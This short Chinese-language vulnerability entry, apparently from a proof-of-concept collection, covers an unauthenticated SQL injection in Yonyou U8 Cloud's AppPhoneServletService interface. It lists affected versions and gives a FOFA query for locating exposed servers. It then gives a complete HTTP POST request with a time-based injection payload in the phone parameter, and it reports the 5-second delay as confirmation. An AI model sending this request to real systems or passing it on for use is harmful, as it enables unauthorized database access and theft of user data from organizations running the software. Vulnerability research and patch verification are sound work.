

Y3-3用友-U8Cloud-SQL

漏洞描述:

用友U8 Cloud AppPhoneServletService接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

影响版本:

2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

网站图片:

 [下载页面](#)

请下载新版UClient
开启U8 cloud云端之旅

立即下载 ↓



网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

```
POST /service/~erm/nc.pubitf.erm.mobile.appservice.AppPhoneServletService HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
accountCode: U8cloud

module=sm&method=getUserInfoByPhone&phone=1';WAITFOR+DELAY+'0:0:5'--+
```

效果图:

延时5秒

